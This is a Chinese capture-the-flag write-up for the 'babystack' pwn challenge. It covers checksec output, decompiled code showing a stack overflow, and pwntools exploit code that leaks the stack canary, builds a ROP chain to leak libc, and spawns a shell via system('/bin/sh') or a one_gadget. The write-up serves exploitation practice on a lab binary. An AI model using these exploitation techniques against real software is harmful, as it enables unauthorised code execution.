『攻防世界』:进阶区 | pwn1
开学前把系统重新装了一遍,遇到一些环境的问题,慢慢解决了
然后checksec安装成为了最新的版本,使用方法变成了:checksec --file=babystack
不管了,使用python创建一个elf对象会自动调用老版本的checksec:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
再温习下各个保护机制对解题的影响:
- Arch:程序位数
- RELRO:开启则无法修改got表
- Stack:开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过
- NX:开启则shellcode无法被执行
- PIE:开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址
IDA静态分析:附件
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 char *v3; // rsi 4 char *v4; // rdi 5 int v5; // eax 6 char s; // [rsp+10h] [rbp-90h] 7 unsigned __int64 v8; // [rsp+98h] [rbp-8h] 8 9 v8 = __readfsqword(0x28u); 10 setvbuf(stdin, 0LL, 2, 0LL); 11 setvbuf(stdout, 0LL, 2, 0LL); 12 setvbuf(stderr, 0LL, 2, 0LL); 13 v3 = 0LL; 14 v4 = &s; 15 memset(&s, 0, 0x80uLL); 16 while ( 1 ) 17 { 18 sub_4008B9(v4, v3); 19 v5 = sub_400841(); 20 switch ( v5 ) 21 { 22 case 2: 23 puts(&s); 24 break; 25 case 3: 26 return 0LL; 27 case 1: 28 v3 = &s; 29 read(0, &s, 0x100uLL); 30 break; 31 default: 32 sub_400826("invalid choice"); 33 break; 34 } 35 v4 = (char *)&unk_400AE7; 36 sub_400826(&unk_400AE7); 37 } 38 }
简单运行下程序:
running
从静态分析中可可以发现当我们第一次输入1后接下来会执行read函数,但是它的控制读入长度大于开辟的空间,这里是一个溢出漏洞利用,看一看能够做什么,我们只需要从char s填入0x90-0x8 个垃圾数据后在通过选择2选项就可以将canary的值泄露出来。同时这道题还提供了程序的库文件。X64传参的方式当参数少于7个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9.当我们成功得到canary的值后就可以构rop链进行控制程序。
首先试着获取canary:
#coding:utf-8 from pwn import * io = process("./babystack") payload = cyclic(0x88) io.send('1') io.sendline(payload) io.sendlineafter(">> ", "2") io.recvuntil("\n") canary = u64("\x00" + io.recv(7)) print hex(canary) io.close()
获取偏移:
read_got = elf.got["read"] read_plt = elf.plt["read"] puts_plt = elf.plt["puts"] start_plt = 0x400908 pop_rdi_ret = 0x400a93 pop_rsi_r15_ret = 0x400a91 io.sendlineafter(">> ", "1") payload = cyclic(0x88) + p64(canary) * 2 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(start_plt) io.sendline(payload) io.sendlineafter(">> ", "3") read_leaked = u64(io.recv(6).ljust(8, '\x00')) read_libc = libc.symbols["read"] libc_base = read_leaked - read_libc
获取shell:
这里有两个方法,一个是传统的通过libc文件dump出system和str_bin_sh.再构造payload = 'a'*0x88+p64(canary)+'a'*8+p64(popedi)+p64(binsh_addr)+p64(system_addr)
另一个方法就是通过one_gadget从libc获取到execve("/bin/sh", rsp+0x30, environ)的exeaddr再加上偏移得到最后的exeaddr,payload = payload = cyclic(0x88) + p64(canary) + 'a' * 8 + p64(exeAddr)